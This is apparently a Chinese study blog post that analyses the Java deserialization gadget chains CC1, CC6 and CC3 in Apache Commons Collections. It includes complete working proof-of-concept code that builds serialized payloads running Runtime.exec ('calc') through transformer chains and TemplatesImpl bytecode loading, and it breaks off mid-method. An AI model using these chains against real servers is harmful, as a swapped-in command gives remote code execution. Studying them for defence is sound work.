Java安全——CommonsCollections链分析
对于初学者来说,CC链是学习Java反序列化过程中不可或缺的一部分。这篇文章也仅仅是作为笔者个人的学习记录,如果真的想要学习反序列化,还是要自己上手调试跟进一下才行,只看文章中的这些调用、判断和操作是没什么用的。
一、CC1
JDK < 8u71
大部分的CC链的Sink点都是Transform链,所以我们首先来看一下什么是Transform链。
首先,Java中最典型的运行操作系统命令的方式为 Runtime类,例如:
public static void execute() throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
但是,Runtime类并没有继承 Serializable接口,也就是说反序列化的过程中我们不可以直接通过 Runtime类来执行命令。
public class Runtime {
private static final Runtime currentRuntime = new Runtime();
...
}
于是我们使用反射的方式来调用 Runtime进行命令执行,且涉及到的所有类都继承了 Serializable接口。这里注意反射执行方法后,返回的只能是一个Object类型,所以这里需要一个强制类型转换,两次分别转换为了 Runtime类型和 Process类型
public class Shell {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("java.lang.Runtime");
Method method1 = clazz.getDeclaredMethod("getRuntime");
Runtime runtimeObj = (Runtime) method1.invoke(null);
runtimeObj.exec("calc.exe");
}
}
接下来让我们走进 org.apache.commons.collections.Transformer接口,看一下 transform方法的一些实现。![[Java安全-17.png]]
我们重点关注的实现有:
InvokerTransformerTransformedMapConstantTransformerChainedTransformer
InvokerTransformer
顾名思义,这个实现跟反射中的方法调用有关。
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//...
}
首先,这个实现通过反射的方式执行任意一个类的方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
这里要求这个方法必须是 public的,同时我们发现 iMethodName,iParamTypes,iArgs均可控:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
我们可以试一下用这个类来弹个计算器:
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
invokerTransformer.transform(rt);
}
好了,接下来我们就要找到一个方法,它可以调用可控 Object的 transform方法,之后再将Object设置为 InvokeTransformer即可。
TransformedMap
- TransformedMap是Map接口的一个装饰器实现,它可以在数据存入或取出时自动应用转换逻辑。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
在 checkSetValue方法中调用了 transform方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
同时valueTransformer是一个构造时赋的值:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
但是构造函数是一个 protected,所以我们就需要找调用:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
现在就解决了调用 InvokeTransformer的 transform方法的问题,接下来看一下 value如何控制。我们全局搜索一下 checkSetValue,发现一个抽象类 AbstractInputCheckedMapDecorator,其内部类 MapEntry的 setValue方法调用了 checkSetValue:
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
//...
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
}
而这个类 AbstractInputCheckedMapDecorator恰好是 TransformedMap的父类,也就是说,对于一个由 TransformedMap装饰的 Map,其 Map.Entry的 setValue方法就会调用到 checkSetValue,进而触发调用链。让我们试一下:
public static void main(String[] args) throws Exception {
Runtime runtimeEnvironment = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("Burger King","Good King");
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, invokerTransformer);
for(Map.Entry mapEntry:transformedMap.entrySet()){
mapEntry.setValue(runtimeEnvironment);
}
}
AnnotationInvocationHandler
那么接下来就是找一个 setValue方法,发现在 AnnotationInvocationHandler类重写的 readObject方法中调用了 setValue,这省去了找Source的过程
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看出来,如果需要执行 setValue,需要两个条件,(memberType != null)和 !(memberType.isInstance(value) || value instanceof ExceptionProxy),memberType的来源是:
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
annotationType = AnnotationType.getInstance(t);
//获取传入的class对象的成员类型信息,t是构造方法传的class对象
//...
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取传入的Class对象类中的成员名和成员的数据类型
//...
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
//获取Map键值对中的Key名
Object value = null;
Class<?> memberType = memberTypes.get(name);
//获取传入的Class对象中对应Map中成员名的类型
也就是说,要解决第一个 if我们传进去的Map的Key必须是class对象的一个成员,方法和属性都行。举个例子:
HashMap<Object,Object> hash = new HashMap<>();
hash.put("burger",'king');
//则我们传入的class对象中必须有一个名为burger的成员
要解决第二个 if,Map的Value不能为 memberType类型或其子类型的实例,也不能为 ExceptionProxy类型或其子类型的实例,看一下构造函数:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type: " +
type.getName());
this.type = type;
this.memberValues = memberValues;
}
该方法要接收两个参数,第一个是 Annotation类或其子类的class对象,第二个是一个Map<String, Object>对象。接下来我们发现 Annotation类的子类 Target接口中有一个名为 value的方法:
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
注意 AnnotationInvocationHandler的构造函数不是 public,需要反射来获得一个实例,现在我们再试着弹一个计算器:
public static void main(String[] args) throws Exception {
Runtime runtimeEnvironment = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Target.class, transformedMap);
helper.serilaze("payload.ser", annotationInvocationHandler);
helper.unserialize("payload.ser");
}
没有弹出来计算器,为什么?
这是因为:
- Runtime类无法被序列化;
- 实际上我们无法控制
AnnotationInvocationHandler的setValue方法的参数
对于第一个问题,我们要多用几次InvokerTransformer,先想一下,如果不用这个我们应该怎么写?一样是多用几次反射:
Class c = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r, "calc");
那现在有了 InvokerTransformer,就可以:
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
是不是觉得这样很麻烦?
Chainedtransformer
顾名思义,Chainedtransformer的作用就是链式调用一个 transformers数组里所有的 transform方法:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
于是,我们就可以把上面那一串 InvokerTransformer给串起来:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
那么如何解决第二个问题呢?
ConstantTransformer
顾名思义,ConstantTransformer的作用是返回一个常量,也就是说它并不会管你给它传入的是什么对象:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
让我们回到刚刚发现 setValue方法时候的payload,使用我们上面的链式调用,并把 setValue的参数改为 null来看:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("Burger King","Good King");
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);
for(Map.Entry mapEntry:transformedMap.entrySet()) {
mapEntry.setValue(null);
}
}
这个时候如果在 transformer链的最前面加上一个 ConstantTransformer,这里的 null就会直接被无视,而是返回 ConstantTransformer实例的 iConstant对象,也即 Runtime.class,来个计算器:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("Burger King","Good King");
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);
for(Map.Entry mapEntry:transformedMap.entrySet()) {
mapEntry.setValue(null);
}
}
最终PoC
好了,现在两大问题已经解决了,让我们来合成一下:
package org.burger;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
@SuppressWarnings({"rawtypes", "unchecked"})
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map<Object, Object> transformedMap = TransformedMap.decorate(originalMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Target.class, transformedMap);
helper.serilaze("cc1.ser", annotationInvocationHandler);
helper.unserialize("cc1.ser");
}
}
LazyMap
ysoserial的CC1 gadget链如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
有什么区别?主要是使用了 LazyMap,我们在其中查找一下 transform的调用:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
也就是说 get一个不存在的Key时,会触发到自定义 Transformer,弹个计算器:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map<Object, Object> transformedMap = LazyMap.decorate(originalMap, chainedTransformer);
transformedMap.get("NoExistingKey");
}
那么要怎么触发这个 get方法呢?
AnnotationInvocationHandler.invoke
简单来说,当我们通过动态代理对象调用一个方法的时候,这个方法的调用就会被转发到实现 InvocationHandler接口类的 invoke方法来调用。也就是说,如果给 LazyMap实现了动态代理,我们就可以让其在调用方法的时候调用到 AnnotationInvocationHandler.invoke,而 AnnotationInvocationHandler的 readObject中又调用了 LazyMap.entrySet方法,于是这条链也就通了。
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map ProxiedMap = (Map) java.lang.reflect.Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler);
类ysoserial PoC
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map ProxiedMap = (Map) java.lang.reflect.Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler);
Object handler = constructor.newInstance(Target.class, ProxiedMap);
helper.serilaze("CC1LazyMap.ser", handler);
helper.unserialize("CC1LazyMap.ser");
}
二、CC6
简介
CC6的利用链和CC1其实只差在 LazyMap.get()的触发方式上。JDK 8u71之后,AnnotationInvocationHandler#readObject里面发生了很多逻辑变化,如果我们是用 TransformedMap的话,在高版本中 setValue已经被删除了。如果是用 LazyMap的话,高版本中 memberValues的获取逻辑已经被改变了。
环境
JDK 11
TiedMapEntry
CC6的后半部分相较于CC1没变,从 LazyMap.get()开始,调用链发生变化,我们跟一下这个 TiedMapEntry.getValue():
public Object getValue() {
return this.map.get(this.key);
}
可以看到有一个 map.get,再看一下构造函数:
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
也就是说其中的 map和 key我们都可以控制。接下来就是找一个 getValue方法的调用了,可以看到 TiedMapEntry.hashCode()调用了这个方法。
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
到这里也就很熟悉了,后面跟URLDNS是一样的调用链:
HashMap#hash:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
HashMap#put:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
构造PoC:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Burger King");
}
这里就已经会弹计算器了,但是我们的目的是获取一段序列化的Payload,所以同样的,我们也要注意规避掉 HashMap#put产生的第一次 hashCode()调用,方法跟URLDNS也非常像,先在 put时调用一个无用的Transformer,再在反序列化之前改为恶意的Transformer。这里也有两种实现方式,一种是反射修改 chainedTransformer实例的 iTransformers属性,另一种是修改 LazyMap的 factory属性。我们这里演示第一种:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer("King Burger"),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Burger King");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
Helper.serialize("CC6.ser", hashMap);
Helper.unserialize("CC6.ser");
}
没有弹计算器,为什么?
触发 hashMap.put(tiedMapEntry,"Burger King")之后的调用链如下:
HashMap#put:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
HashMap#hash:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
TiedMapEntry#hashCode:
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
TiedMapEntry#getValue:
public Object getValue() {
return this.map.get(this.key);
}
LazyMap#get:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
调试之后发现虽然第一次的Transformer只是一个 ConstantTransformer("King Burger"),但是链子也会触发到 LazyMap#get这一步,导致 put进去一个 <"Burger King","King Burger">,而
LazyMap#get要想触发到 transform()就需要Map里没有对应的Key。我们的解决方案就是删掉这个Key。
类ysoserial PoC
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer("King Burger")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Burger King");
originalMap.remove("Burger King");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
Helper.serialize("CC6.ser", hashMap);
Helper.unserialize("CC6.ser");
}
三、CC3
简介
CC3跟前面介绍的CC1和CC6就不太一样了,前面的两个都是执行命令,CC3可以利用TemplatesImpl加载字节码
环境
JDK 8u65
TemplatesImpl
TemplatesImpl类是用来加载字节码的,也就是加载JVM虚拟机运行编译后的class文件,里面存放的是Java虚拟机执行的指令。关于这里的细节可以看我之前的笔记。我们要调用的是 defineClass方法。发现在 defineTransletClasses方法中有调用。
TemplatesImpl#defineTransletClasses:
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这里要注意 _bytecodes不能为null,继续查看调用。
TemplatesImpl#getTransletInstance:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这里 _name不能为null,需要反射给它赋值。继续查找调用。
TemplatesImpl#newTransformer:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
现在我们已经有了一个基本的思路,即手动new一个 TemplateIml对象,再调用 newTransformer方法,从而去 defineClass,来个计算器试试:
package org.burger;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Burger King");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();
byte[][] evilBytecodes = {evilBytes};
_bytecodes.set(templates, evilBytecodes);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = (Transformer) templates.newTransformer();
}
}
EvilTemplatesImpl:
public class EvilTemplatesImpl extends AbstractTranslet {
public EvilTemplatesImpl () throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
这里有几个问题:
- 为什么修改
_tfactory的值? - 恶意类怎么读到这个数组里的?
- 恶意类为什么要继承
AbstractTranslet?
对于第一个问题,TemplatesImpl的readObject方法会初始化_tfactory的值,但是我们这里还没有进行反序列化,所以需要设置一个_tfactory。
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
//...
_tfactory = new TransformerFactoryImpl();
}
对于第二个问题,我们需要介绍一下javassist,它是一个处理字节码的类库,能够动态的修改class中的字节码。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
这里我们就理解两个关键类就行了:
ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象CtClass:CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
会用到的方法有:getDefault: 返回默认的ClassPool是单例模式的,一般通过该方法创建我们的ClassPool;get: 根据类路径名获取该类的CtClass对象,用于后续的编辑。toBytecode:将 CtClass 对象表示的类转换回其原始的 JVM 字节码格式,并返回一个byte[]数组。
对于第三个问题,在TemplatesImpl#defineTransletClasses里有这么一段:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
其实这里还可以反射修改 ABSTRACT_TRANSLET的值,就不演示了。想要序列化的话,再引入我们之前CC1或者CC6的那一套,我们这里选择CC6。
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Burger King");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();
byte[][] evilBytecodes = {evilBytes};
_bytecodes.set(templates, evilBytecodes);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer("King Burger")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Burger King");
originalMap.remove("Burger King");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
Helper.serialize("CC3.ser", hashMap);
}
但是ysoserial用的是 InstantiateTransformer进行触发,是由于 InvokerTransformer已经在SerialKiller的黑名单中,而且两者的利用方式也有区别。
InstantiateTransformer
顾名思义,它会通过反射机制来使用构造函数实例化指定类的对象,它和 InvokerTransformer的区别在于后者是直接调用已实例化对象的方法。
InstantiateTransformer#transform:
public Object transform(Object input) {
try {
